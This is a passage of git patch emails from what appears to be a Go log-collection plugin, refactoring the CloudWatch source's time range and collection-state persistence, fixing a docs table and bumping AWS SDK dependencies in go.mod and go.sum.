h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= +github.com/stretchr/testify v1.10.0 h1:Xv5erBjTwe/5IxqUQTdXv5kgmIvbHo3QQyRwhJsOfJA= github.com/stretchr/testify v1.10.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= github.com/subosito/gotenv v1.6.0 h1:9NlTDc1FTs4qu0DDq7AEtTPNw6SVm7uBMsUCUjABIf8= github.com/subosito/gotenv v1.6.0/go.mod h1:Dk4QP5c2W3ibzajGcXpNraDfq2IrhjMIvMSWPKKo0FU= @@ -831,8 +830,7 @@ golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug golang.org/x/net v0.0.0-20220909164309-bea034e7d591/go.mod h1:YDH+HFinaLZZlnHAfSS6ZXJJ9M9t4Dl22yv3iI2vPwk= golang.org/x/net v0.0.0-20221014081412-f15817d10f9b/go.mod h1:YDH+HFinaLZZlnHAfSS6ZXJJ9M9t4Dl22yv3iI2vPwk= golang.org/x/net v0.1.0/go.mod h1:Cx3nUiGt4eDBEyega/BKRp+/AlGL8hYe7U9odMt2Cco= -golang.org/x/net v0.30.0 h1:AcW1SDZMkb8IpzCdQUaIq2sP4sZ4zw+55h6ynffypl4= -golang.org/x/net v0.30.0/go.mod h1:2wGyMJ5iFasEhkwi13ChkO/t1ECNC4X4eBKkVFyYFlU= +golang.org/x/net v0.33.0 h1:74SYHlV8BIgHIFC/LrYkOGIwL19eTYXQ5wc6TBuO36I= golang.org/x/net v0.33.0/go.mod h1:HXLR5J+9DxmrqMwG9qjGCxZ+zKXxBru04zlTvWlWuN4= golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= From f390eb23a20b0996b05bcc9adc27bbc3050f013c Mon Sep 17 00:00:00 2001 From: Graza Date: Wed, 15 Jan 2025 08:58:02 +0000 Subject: [PATCH 133/180] refactor(cloudwatch): updated to use from time opposed to config --- sources/cloudwatch_log_group_source.go | 11 ++----- sources/cloudwatch_log_group_source_config.go | 29 ------------------- 2 files changed, 2 insertions(+), 38 deletions(-) diff --git a/sources/cloudwatch_log_group_source.go b/sources/cloudwatch_log_group_source.go index 449e62f8..49f25946 100644 --- a/sources/cloudwatch_log_group_source.go +++ b/sources/cloudwatch_log_group_source.go @@ -31,7 +31,6 @@ type AwsCloudWatchSource struct { client *cloudwatchlogs.Client } - func (s *AwsCloudWatchSource) Init(ctx context.Context, params *row_source.RowSourceParams, opts ...row_source.RowSourceOption) error { // set the collection state ctor @@ -60,12 +59,6 @@ func (s *AwsCloudWatchSource) Identifier() string { func (s *AwsCloudWatchSource) Collect(ctx context.Context) error { collectionState := s.CollectionState.(*AwsCloudwatchCollectionState) - // if no end time is set, use the current time - if s.Config.EndTime == nil { - endTime := time.Now() - s.Config.EndTime = &endTime - } - // obtain log streams which have active events in the time range logStreamCollection, err := s.collectLogStreams(ctx, s.Config.LogGroupName, s.Config.LogStreamPrefix, collectionState) if err != nil { @@ -182,8 +175,8 @@ func (s *AwsCloudWatchSource) logStreamHasEntriesInTimeRange(logStream cwtypes.L // use the collection state data (if present) and the configured time range to determine the start and end time func (s *AwsCloudWatchSource) getTimeRange(logStream string, collectionState *AwsCloudwatchCollectionState) (int64, int64) { - startTime := s.Config.StartTime.UnixMilli() - endTime := s.Config.EndTime.UnixMilli() + startTime := s.FromTime.UnixMilli() + endTime := time.Now().UnixMilli() if collectionState != nil { // set start time from collection state data if present diff --git a/sources/cloudwatch_log_group_source_config.go b/sources/cloudwatch_log_group_source_config.go index 30eccf52..3e491608 100644 --- a/sources/cloudwatch_log_group_source_config.go +++ b/sources/cloudwatch_log_group_source_config.go @@ -1,42 +1,13 @@ package sources -import ( - "fmt" - "time" -) - // AwsCloudWatchSourceConfig is the configuration for an [AwsCloudWatchSource] type AwsCloudWatchSourceConfig struct { LogGroupName string `hcl:"log_group_name"` LogStreamPrefix *string `hcl:"log_stream_prefix"` - StartTimeString string `hcl:"start_time"` - EndTimeString *string `hcl:"end_time"` - StartTime time.Time - EndTime *time.Time Region *string `hcl:"region"` } func (c *AwsCloudWatchSourceConfig) Validate() error { - // parse start and end time - if c.StartTimeString == "" { - return fmt.Errorf("start_time is required") - } - startTime, err := time.Parse(time.RFC3339, c.StartTimeString) - if err != nil { - return fmt.Errorf("invalid start_time: %v", err) - } - c.StartTime = startTime - if c.EndTimeString == nil { - endTime, err := time.Parse(time.RFC3339, *c.EndTimeString) - if err != nil { - return fmt.Errorf("invalid end_time: %v", err) - } - c.EndTime = &endTime - if c.StartTime.After(endTime) { - return fmt.Errorf("start_time must be before end_time") - } - } - return nil } From d7df2609d87805ccc7ae15b4d8a8a1d9a824e59b Mon Sep 17 00:00:00 2001 From: kai Date: Wed, 15 Jan 2025 10:18:14 +0000 Subject: [PATCH 134/180] update cloudwatch collection state --- .../cloudwatch_log_group_collection_state.go | 127 +++++++++++++++--- sources/cloudwatch_log_group_source.go | 13 +- 2 files changed, 119 insertions(+), 21 deletions(-) diff --git a/sources/cloudwatch_log_group_collection_state.go b/sources/cloudwatch_log_group_collection_state.go index 3642f0f8..26365a91 100644 --- a/sources/cloudwatch_log_group_collection_state.go +++ b/sources/cloudwatch_log_group_collection_state.go @@ -1,47 +1,138 @@ package sources import ( + "encoding/json" + "fmt" "github.com/turbot/tailpipe-plugin-sdk/collection_state" + "log/slog" + "os" + "sync" + "time" ) // AwsCloudwatchCollectionState contains collection state data for the AwsCloudwatchSource artifact source // This contains the latest timestamp fetched for each log stream in a SINGLE log group type AwsCloudwatchCollectionState struct { - collection_state.CollectionStateImpl[*AwsCloudWatchSourceConfig] // The timestamp of the last collected log for each log stream // expressed as the number of milliseconds after Jan 1, 1970 00:00:00 UTC. - Timestamps map[string]int64 `json:"timestamps"` + LogStreamTimestamps map[string]time.Time `json:"timestamps"` + + // path to the serialised collection state JSON + jsonPath string + lastModifiedTime time.Time + lastSaveTime time.Time + + mut *sync.RWMutex } func NewAwsCloudwatchCollectionState() collection_state.CollectionState[*AwsCloudWatchSourceConfig] { - // TODO handle storing path/loading/saving state return &AwsCloudwatchCollectionState{ - Timestamps: make(map[string]int64), + LogStreamTimestamps: make(map[string]time.Time), + mut: &sync.RWMutex{}, } } -func (s *AwsCloudwatchCollectionState) Init(config *AwsCloudWatchSourceConfig, path string) error { - return s.CollectionStateImpl.Init(config, path) +func (s *AwsCloudwatchCollectionState) Init(_ *AwsCloudWatchSourceConfig, path string) error { + s.jsonPath = path + + // if there is a file at the path, load it + if _, err := os.Stat(path); err == nil { + // TODO #err should we just warn and delete/rename the file + // read the file + jsonBytes, err := os.ReadFile(path) + if err != nil { + return fmt.Errorf("failed to read collection state file: %w", err) + } + err = json.Unmarshal(jsonBytes, s) + if err != nil { + return fmt.Errorf("failed to unmarshal collection state file: %w", err) + } + } + return nil } -// Upsert adds new/updates an existing log stream with its current timestamp -func (s *AwsCloudwatchCollectionState) Upsert(name string, time int64) { - s.Mut.Lock() - defer s.Mut.Unlock() +func (s *AwsCloudwatchCollectionState) Save() error { + s.mut.Lock() + defer s.mut.Unlock() + + slog.Info("Saving collection state", "lastModifiedTime", s.lastModifiedTime, "lastSaveTime", s.lastSaveTime) + + // if the last save time is after the last modified time, then we have nothing to do + if s.lastSaveTime.After(s.lastModifiedTime) { + slog.Info("collection state has not been modified since last save") + // nothing to do + return nil + } + + slog.Info("We are actually saving the collection state") - if s.Timestamps == nil { - s.Timestamps = make(map[string]int64) + jsonBytes, err := json.Marshal(s) + if err != nil { + return err } - if time == 0 { - return + // ensure the target file path is valid + if s.jsonPath == "" { + return fmt.Errorf("collection state path is not set") } - currentTime := s.Timestamps[name] - if time > currentTime { - s.Timestamps[name] = time + // write the JSON data to the file, overwriting any existing data + err = os.WriteFile(s.jsonPath, jsonBytes, 0644) + if err != nil { + return fmt.Errorf("failed to write collection state to file: %w", err) } + + // update the last save time + s.lastSaveTime = time.Now() + + return nil +} + +func (s *AwsCloudwatchCollectionState) ShouldCollect(id string, timestamp time.Time) bool { + s.mut.Lock() + defer s.mut.Unlock() + + // get timestamp for this log stream + logStreamTime := s.LogStreamTimestamps[id] + + // if this timestamp is after the latest timestamp we have stored, we SHOULD collect + return timestamp.After(logStreamTime) +} + +func (s *AwsCloudwatchCollectionState) OnCollected(id string, timestamp time.Time) error { + s.mut.Lock() + defer s.mut.Unlock() + + // store modified time to ensure we save the state + s.lastModifiedTime = time.Now() + + logStreamTime := s.LogStreamTimestamps[id] + if timestamp.After(logStreamTime) { + s.LogStreamTimestamps[id] = timestamp + } + return nil +} + +// GetEndTime returns the earliest end time of all the log streams +// (not currently used as the Cloudwatch source retrieves the end time for the specific log stream ) +func (s *AwsCloudwatchCollectionState) GetEndTime() time.Time { + // find the earliest end time of all the log streams + var endTime time.Time + for _, timestamp := range s.LogStreamTimestamps { + if endTime.IsZero() || timestamp.Before(endTime) { + endTime = timestamp + } + } + + return endTime } func (s *AwsCloudwatchCollectionState) IsEmpty() bool { - return len(s.Timestamps) == 0 + return len(s.LogStreamTimestamps) == 0 +} + +func (s *AwsCloudwatchCollectionState) GetGranularity() time.Duration { + return 0 +} + +func (s *AwsCloudwatchCollectionState) SetGranularity(time.Duration) { } diff --git a/sources/cloudwatch_log_group_source.go b/sources/cloudwatch_log_group_source.go index 49f25946..3bcbaa34 100644 --- a/sources/cloudwatch_log_group_source.go +++ b/sources/cloudwatch_log_group_source.go @@ -112,7 +112,14 @@ func (s *AwsCloudWatchSource) Collect(ctx context.Context) error { } // update collection state - collectionState.Upsert(*ls.LogStream.LogStreamName, *event.Timestamp) + // build time from unix mill + unixMillis := *event.Timestamp + timestamp := time.Unix(0, unixMillis*int64(time.Millisecond)) + + err := collectionState.OnCollected(*ls.LogStream.LogStreamName, timestamp) + if err != nil { + return fmt.Errorf("failed to update collection state, %w", err) + } if err := s.OnRow(ctx, row); err != nil { return fmt.Errorf("error processing row: %w", err) @@ -180,8 +187,8 @@ func (s *AwsCloudWatchSource) getTimeRange(logStream string, collectionState *Aw if collectionState != nil { // set start time from collection state data if present - if prevTimestamp, ok := collectionState.Timestamps[logStream]; ok { - startTime = prevTimestamp + 1 + if prevTimestamp, ok := collectionState.LogStreamTimestamps[logStream]; ok { + startTime = prevTimestamp.Add(time.Microsecond).UnixMilli() } } return startTime, endTime From b214f55c0040fa95419741e8f6e8b91bb12ecc1d Mon Sep 17 00:00:00 2001 From: kai Date: Wed, 15 Jan 2025 11:11:27 +0000 Subject: [PATCH 135/180] Update timerange collection state --- sources/cloudwatch_log_group_collection_state.go | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/sources/cloudwatch_log_group_collection_state.go b/sources/cloudwatch_log_group_collection_state.go index 26365a91..ec43a394 100644 --- a/sources/cloudwatch_log_group_collection_state.go +++ b/sources/cloudwatch_log_group_collection_state.go @@ -131,8 +131,11 @@ func (s *AwsCloudwatchCollectionState) IsEmpty() bool { } func (s *AwsCloudwatchCollectionState) GetGranularity() time.Duration { - return 0 + // this will never be called - we do not use granularity for this source + // however - return the 'correct' value to avoid confusion + return time.Nanosecond } func (s *AwsCloudwatchCollectionState) SetGranularity(time.Duration) { + // do nothing - this should not be called } From 112119750b9ff18786fcfd283915566cbfb281d9 Mon Sep 17 00:00:00 2001 From: Graza Date: Wed, 15 Jan 2025 12:05:16 +0000 Subject: [PATCH 136/180] fix: cw collection state --- sources/cloudwatch_log_group_source.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/sources/cloudwatch_log_group_source.go b/sources/cloudwatch_log_group_source.go index 3bcbaa34..cfa36a3a 100644 --- a/sources/cloudwatch_log_group_source.go +++ b/sources/cloudwatch_log_group_source.go @@ -188,7 +188,7 @@ func (s *AwsCloudWatchSource) getTimeRange(logStream string, collectionState *Aw if collectionState != nil { // set start time from collection state data if present if prevTimestamp, ok := collectionState.LogStreamTimestamps[logStream]; ok { - startTime = prevTimestamp.Add(time.Microsecond).UnixMilli() + return prevTimestamp.Add(time.Microsecond).UnixMilli(), endTime } } return startTime, endTime From a51daee317f9e96090ee495b29c3dff9d60db220 Mon Sep 17 00:00:00 2001 From: cbruno10 Date: Wed, 15 Jan 2025 08:51:54 -0500 Subject: [PATCH 137/180] Fix bad formatting in aws_s3_bucket doc args table --- docs/sources/aws_s3_bucket.md | 2 -- 1 file changed, 2 deletions(-) diff --git a/docs/sources/aws_s3_bucket.md b/docs/sources/aws_s3_bucket.md index a463501d..050710fa 100644 --- a/docs/sources/aws_s3_bucket.md +++ b/docs/sources/aws_s3_bucket.md @@ -52,5 +52,3 @@ partition "aws_cloudtrail_log" "cloudtrail_logs" { | `file_layout` | Regex of pattern filename layout, used to extract information such as year, month, day, etc. | | | `lexicographical_order` | Used to indicate log files are in lexicographical order. | `false` | | `start_after_key` | The key to start collecting logs from. | | -|-------------------------|---------------------------------------------------------------------------------------|---------------| - From 194d10ef56e8a4ec7877c790cbad49a4b73bc360 Mon Sep 17 00:00:00 2001 From: kai Date: Wed, 15 Jan 2025 22:08:46 +0000 Subject: [PATCH 138/180] Add GetStartTime() Clear() and SetEndTime() to CollectionState IF --- .../cloudwatch_log_group_collection_state.go | 32 +++++++++++++++++-- 1 file changed, 30 insertions(+), 2 deletions(-) diff --git a/sources/cloudwatch_log_group_collection_state.go b/sources/cloudwatch_log_group_collection_state.go index ec43a394..d8757eac 100644 --- a/sources/cloudwatch_log_group_collection_state.go +++ b/sources/cloudwatch_log_group_collection_state.go @@ -41,11 +41,11 @@ func (s *AwsCloudwatchCollectionState) Init(_ *AwsCloudWatchSourceConfig, path s // read the file jsonBytes, err := os.ReadFile(path) if err != nil { - return fmt.Errorf("failed to read collection state file: %w", err) + return fmt.Errorf("failed to read collection state file '%s': %w", path, err) } err = json.Unmarshal(jsonBytes, s) if err != nil { - return fmt.Errorf("failed to unmarshal collection state file: %w", err) + return fmt.Errorf("failed to unmarshal collection state file '%s': %w", path, err) } } return nil @@ -112,6 +112,19 @@ func (s *AwsCloudwatchCollectionState) OnCollected(id string, timestamp time.Tim return nil } +// GetStartTime returns the latest start time of all the log streams +func (s *AwsCloudwatchCollectionState) GetStartTime() time.Time { + // find the earliest end time of all the log streams + var startTime time.Time + for _, timestamp := range s.LogStreamTimestamps { + if startTime.IsZero() || timestamp.After(startTime) { + startTime = timestamp + } + } + + return startTime +} + // GetEndTime returns the earliest end time of all the log streams // (not currently used as the Cloudwatch source retrieves the end time for the specific log stream ) func (s *AwsCloudwatchCollectionState) GetEndTime() time.Time { @@ -126,6 +139,21 @@ func (s *AwsCloudwatchCollectionState) GetEndTime() time.Time { return endTime } +func (s *AwsCloudwatchCollectionState) SetEndTime(newEndTime time.Time) { + for id := range s.LogStreamTimestamps { + if s.LogStreamTimestamps[id].After(newEndTime) { + s.LogStreamTimestamps[id] = newEndTime + } + } +} + +func (s *AwsCloudwatchCollectionState) Clear() { + s.mut.Lock() + defer s.mut.Unlock() + + s.LogStreamTimestamps = make(map[string]time.Time) +} + func (s *AwsCloudwatchCollectionState) IsEmpty() bool { return len(s.LogStreamTimestamps) == 0 } From 4afbb26d7536cbf4b703be1cb4cc741db985ea05 Mon Sep 17 00:00:00 2001 From: Graza Date: Thu, 16 Jan 2025 06:59:21 +0000 Subject: [PATCH 139/180] refactor(source): S3 Bucket Source no longer requires Region to be specified, will obtain from Bucket (#57) --- go.mod | 37 +++++++-------- go.sum | 74 +++++++++++++++--------------- sources/s3_bucket_source.go | 20 ++++---- sources/s3_bucket_source_config.go | 21 ++------- 4 files changed, 70 insertions(+), 82 deletions(-) diff --git a/go.mod b/go.mod index 55fdc782..1ae060a5 100644 --- a/go.mod +++ b/go.mod @@ -23,20 +23,20 @@ require ( github.com/apparentlymart/go-cidr v1.1.0 // indirect github.com/apparentlymart/go-textseg/v15 v15.0.0 // indirect github.com/aws/aws-sdk-go v1.44.183 // indirect - github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.6.3 // indirect - github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.16.11 // indirect - github.com/aws/aws-sdk-go-v2/internal/configsources v1.3.22 // indirect - github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.6.22 // indirect - github.com/aws/aws-sdk-go-v2/internal/ini v1.8.0 // indirect - github.com/aws/aws-sdk-go-v2/internal/v4a v1.3.15 // indirect - github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.11.3 // indirect - github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.3.17 // indirect - github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.11.17 // indirect - github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.17.15 // indirect - github.com/aws/aws-sdk-go-v2/service/sso v1.22.3 // indirect - github.com/aws/aws-sdk-go-v2/service/ssooidc v1.26.4 // indirect - github.com/aws/aws-sdk-go-v2/service/sts v1.30.3 // indirect - github.com/aws/smithy-go v1.22.0 // indirect + github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.6.7 // indirect + github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.16.23 // indirect + github.com/aws/aws-sdk-go-v2/internal/configsources v1.3.27 // indirect + github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.6.27 // indirect + github.com/aws/aws-sdk-go-v2/internal/ini v1.8.1 // indirect + github.com/aws/aws-sdk-go-v2/internal/v4a v1.3.27 // indirect + github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.12.1 // indirect + github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.4.8 // indirect + github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.12.8 // indirect + github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.18.8 // indirect + github.com/aws/aws-sdk-go-v2/service/sso v1.24.9 // indirect + github.com/aws/aws-sdk-go-v2/service/ssooidc v1.28.8 // indirect + github.com/aws/aws-sdk-go-v2/service/sts v1.33.7 // indirect + github.com/aws/smithy-go v1.22.1 // indirect github.com/bgentry/go-netrc v0.0.0-20140422174119-9fd32a8b3d3d // indirect github.com/bgentry/speakeasy v0.1.0 // indirect github.com/bmatcuk/doublestar v1.3.4 // indirect @@ -179,12 +179,13 @@ require ( ) require ( - github.com/aws/aws-sdk-go-v2 v1.32.3 - github.com/aws/aws-sdk-go-v2/config v1.27.26 - github.com/aws/aws-sdk-go-v2/credentials v1.17.26 + github.com/aws/aws-sdk-go-v2 v1.32.8 + github.com/aws/aws-sdk-go-v2/config v1.28.11 + github.com/aws/aws-sdk-go-v2/credentials v1.17.52 + github.com/aws/aws-sdk-go-v2/feature/s3/manager v1.17.49 github.com/aws/aws-sdk-go-v2/service/cloudwatchlogs v1.37.3 github.com/aws/aws-sdk-go-v2/service/guardduty v1.50.1 - github.com/aws/aws-sdk-go-v2/service/s3 v1.58.2 + github.com/aws/aws-sdk-go-v2/service/s3 v1.72.3 github.com/elastic/go-grok v0.3.1 github.com/google/go-cmp v0.6.0 github.com/hashicorp/hcl/v2 v2.20.1 diff --git a/go.sum b/go.sum index 648100e9..f06e3a12 100644 --- a/go.sum +++ b/go.sum @@ -216,46 +216,48 @@ github.com/apparentlymart/go-textseg/v15 v15.0.0/go.mod h1:K8XmNZdhEBkdlyDdvbmms github.com/aws/aws-sdk-go v1.44.122/go.mod h1:y4AeaBuwd2Lk+GepC1E9v0qOiTws0MIWAX4oIKwKHZo= github.com/aws/aws-sdk-go v1.44.183 h1:mUk45JZTIMMg9m8GmrbvACCsIOKtKezXRxp06uI5Ahk= github.com/aws/aws-sdk-go v1.44.183/go.mod h1:aVsgQcEevwlmQ7qHE9I3h+dtQgpqhFB+i8Phjh7fkwI= -github.com/aws/aws-sdk-go-v2 v1.32.3 h1:T0dRlFBKcdaUPGNtkBSwHZxrtis8CQU17UpNBZYd0wk= -github.com/aws/aws-sdk-go-v2 v1.32.3/go.mod h1:2SK5n0a2karNTv5tbP1SjsX0uhttou00v/HpXKM1ZUo= -github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.6.3 h1:tW1/Rkad38LA15X4UQtjXZXNKsCgkshC3EbmcUmghTg= -github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.6.3/go.mod h1:UbnqO+zjqk3uIt9yCACHJ9IVNhyhOCnYk8yA19SAWrM= -github.com/aws/aws-sdk-go-v2/config v1.27.26 h1:T1kAefbKuNum/AbShMsZEro6eRkeOT8YILfE9wyjAYQ= -github.com/aws/aws-sdk-go-v2/config v1.27.26/go.mod h1:ivWHkAWFrw/nxty5Fku7soTIVdqZaZ7dw+tc5iGW3GA= -github.com/aws/aws-sdk-go-v2/credentials v1.17.26 h1:tsm8g/nJxi8+/7XyJJcP2dLrnK/5rkFp6+i2nhmz5fk= -github.com/aws/aws-sdk-go-v2/credentials v1.17.26/go.mod h1:3vAM49zkIa3q8WT6o9Ve5Z0vdByDMwmdScO0zvThTgI= -github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.16.11 h1:KreluoV8FZDEtI6Co2xuNk/UqI9iwMrOx/87PBNIKqw= -github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.16.11/go.mod h1:SeSUYBLsMYFoRvHE0Tjvn7kbxaUhl75CJi1sbfhMxkU= -github.com/aws/aws-sdk-go-v2/internal/configsources v1.3.22 h1:Jw50LwEkVjuVzE1NzkhNKkBf9cRN7MtE1F/b2cOKTUM= -github.com/aws/aws-sdk-go-v2/internal/configsources v1.3.22/go.mod h1:Y/SmAyPcOTmpeVaWSzSKiILfXTVJwrGmYZhcRbhWuEY= -github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.6.22 h1:981MHwBaRZM7+9QSR6XamDzF/o7ouUGxFzr+nVSIhrs= -github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.6.22/go.mod h1:1RA1+aBEfn+CAB/Mh0MB6LsdCYCnjZm7tKXtnk499ZQ= -github.com/aws/aws-sdk-go-v2/internal/ini v1.8.0 h1:hT8rVHwugYE2lEfdFE0QWVo81lF7jMrYJVDWI+f+VxU= -github.com/aws/aws-sdk-go-v2/internal/ini v1.8.0/go.mod h1:8tu/lYfQfFe6IGnaOdrpVgEL2IrrDOf6/m9RQum4NkY= -github.com/aws/aws-sdk-go-v2/internal/v4a v1.3.15 h1:Z5r7SycxmSllHYmaAZPpmN8GviDrSGhMS6bldqtXZPw= -github.com/aws/aws-sdk-go-v2/internal/v4a v1.3.15/go.mod h1:CetW7bDE00QoGEmPUoZuRog07SGVAUVW6LFpNP0YfIg= +github.com/aws/aws-sdk-go-v2 v1.32.8 h1:cZV+NUS/eGxKXMtmyhtYPJ7Z4YLoI/V8bkTdRZfYhGo= +github.com/aws/aws-sdk-go-v2 v1.32.8/go.mod h1:P5WJBrYqqbWVaOxgH0X/FYYD47/nooaPOZPlQdmiN2U= +github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.6.7 h1:lL7IfaFzngfx0ZwUGOZdsFFnQ5uLvR0hWqqhyE7Q9M8= +github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.6.7/go.mod h1:QraP0UcVlQJsmHfioCrveWOC1nbiWUl3ej08h4mXWoc= +github.com/aws/aws-sdk-go-v2/config v1.28.11 h1:7Ekru0IkRHRnSRWGQLnLN6i0o1Jncd0rHo2T130+tEQ= +github.com/aws/aws-sdk-go-v2/config v1.28.11/go.mod h1:x78TpPvBfHH16hi5tE3OCWQ0pzNfyXA349p5/Wp82Yo= +github.com/aws/aws-sdk-go-v2/credentials v1.17.52 h1:I4ymSk35LHogx2Re2Wu6LOHNTRaRWkLVoJgWS5Wd40M= +github.com/aws/aws-sdk-go-v2/credentials v1.17.52/go.mod h1:vAkqKbMNUcher8fDXP2Ge2qFXKMkcD74qvk1lJRMemM= +github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.16.23 h1:IBAoD/1d8A8/1aA8g4MBVtTRHhXRiNAgwdbo/xRM2DI= +github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.16.23/go.mod h1:vfENuCM7dofkgKpYzuzf1VT1UKkA/YL3qanfBn7HCaA= +github.com/aws/aws-sdk-go-v2/feature/s3/manager v1.17.49 h1:7gss+6H2mrrFtBrkokJRR2TzQD9qkpGA4N6BvIP/pCM= +github.com/aws/aws-sdk-go-v2/feature/s3/manager v1.17.49/go.mod h1:30PBx0ENoUCJm2AxzgCue8j7KEjb9ci4enxy6CCOjbE= +github.com/aws/aws-sdk-go-v2/internal/configsources v1.3.27 h1:jSJjSBzw8VDIbWv+mmvBSP8ezsztMYJGH+eKqi9AmNs= +github.com/aws/aws-sdk-go-v2/internal/configsources v1.3.27/go.mod h1:/DAhLbFRgwhmvJdOfSm+WwikZrCuUJiA4WgJG0fTNSw= +github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.6.27 h1:l+X4K77Dui85pIj5foXDhPlnqcNRG2QUyvca300lXh8= +github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.6.27/go.mod h1:KvZXSFEXm6x84yE8qffKvT3x8J5clWnVFXphpohhzJ8= +github.com/aws/aws-sdk-go-v2/internal/ini v1.8.1 h1:VaRN3TlFdd6KxX1x3ILT5ynH6HvKgqdiXoTxAF4HQcQ= +github.com/aws/aws-sdk-go-v2/internal/ini v1.8.1/go.mod h1:FbtygfRFze9usAadmnGJNc8KsP346kEe+y2/oyhGAGc= +github.com/aws/aws-sdk-go-v2/internal/v4a v1.3.27 h1:AmB5QxnD+fBFrg9LcqzkgF/CaYvMyU/BTlejG4t1S7Q= +github.com/aws/aws-sdk-go-v2/internal/v4a v1.3.27/go.mod h1:Sai7P3xTiyv9ZUYO3IFxMnmiIP759/67iQbU4kdmkyU= github.com/aws/aws-sdk-go-v2/service/cloudwatchlogs v1.37.3 h1:pnvujeesw3tP0iDLKdREjPAzxmPqC8F0bov77VN2wSk= github.com/aws/aws-sdk-go-v2/service/cloudwatchlogs v1.37.3/go.mod h1:eJZGfJNuTmvBgiy2O5XIPlHMBi4GUYoJoKZ6U6wCVVk= github.com/aws/aws-sdk-go-v2/service/guardduty v1.50.1 h1:0A05jzCVA6W/UFqdtpKm8KXE8QhcEn/Fn01Zxsq2Owg= github.com/aws/aws-sdk-go-v2/service/guardduty v1.50.1/go.mod h1:tfpIzAIeMtSUucGN87ZUA2u5Lqnc04ManYSk3smJpGc= -github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.11.3 h1:dT3MqvGhSoaIhRseqw2I0yH81l7wiR2vjs57O51EAm8= -github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.11.3/go.mod h1:GlAeCkHwugxdHaueRr4nhPuY+WW+gR8UjlcqzPr1SPI= -github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.3.17 h1:YPYe6ZmvUfDDDELqEKtAd6bo8zxhkm+XEFEzQisqUIE= -github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.3.17/go.mod h1:oBtcnYua/CgzCWYN7NZ5j7PotFDaFSUjCYVTtfyn7vw= -github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.11.17 h1:HGErhhrxZlQ044RiM+WdoZxp0p+EGM62y3L6pwA4olE= -github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.11.17/go.mod h1:RkZEx4l0EHYDJpWppMJ3nD9wZJAa8/0lq9aVC+r2UII= -github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.17.15 h1:246A4lSTXWJw/rmlQI+TT2OcqeDMKBdyjEQrafMaQdA= -github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.17.15/go.mod h1:haVfg3761/WF7YPuJOER2MP0k4UAXyHaLclKXB6usDg= -github.com/aws/aws-sdk-go-v2/service/s3 v1.58.2 h1:sZXIzO38GZOU+O0C+INqbH7C2yALwfMWpd64tONS/NE= -github.com/aws/aws-sdk-go-v2/service/s3 v1.58.2/go.mod h1:Lcxzg5rojyVPU/0eFwLtcyTaek/6Mtic5B1gJo7e/zE= -github.com/aws/aws-sdk-go-v2/service/sso v1.22.3 h1:Fv1vD2L65Jnp5QRsdiM64JvUM4Xe+E0JyVsRQKv6IeA= -github.com/aws/aws-sdk-go-v2/service/sso v1.22.3/go.mod h1:ooyCOXjvJEsUw7x+ZDHeISPMhtwI3ZCB7ggFMcFfWLU= -github.com/aws/aws-sdk-go-v2/service/ssooidc v1.26.4 h1:yiwVzJW2ZxZTurVbYWA7QOrAaCYQR72t0wrSBfoesUE= -github.com/aws/aws-sdk-go-v2/service/ssooidc v1.26.4/go.mod h1:0oxfLkpz3rQ/CHlx5hB7H69YUpFiI1tql6Q6Ne+1bCw= -github.com/aws/aws-sdk-go-v2/service/sts v1.30.3 h1:ZsDKRLXGWHk8WdtyYMoGNO7bTudrvuKpDKgMVRlepGE= -github.com/aws/aws-sdk-go-v2/service/sts v1.30.3/go.mod h1:zwySh8fpFyXp9yOr/KVzxOl8SRqgf/IDw5aUt9UKFcQ= -github.com/aws/smithy-go v1.22.0 h1:uunKnWlcoL3zO7q+gG2Pk53joueEOsnNB28QdMsmiMM= -github.com/aws/smithy-go v1.22.0/go.mod h1:irrKGvNn1InZwb2d7fkIRNucdfwR8R+Ts3wxYa/cJHg= +github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.12.1 h1:iXtILhvDxB6kPvEXgsDhGaZCSC6LQET5ZHSdJozeI0Y= +github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding 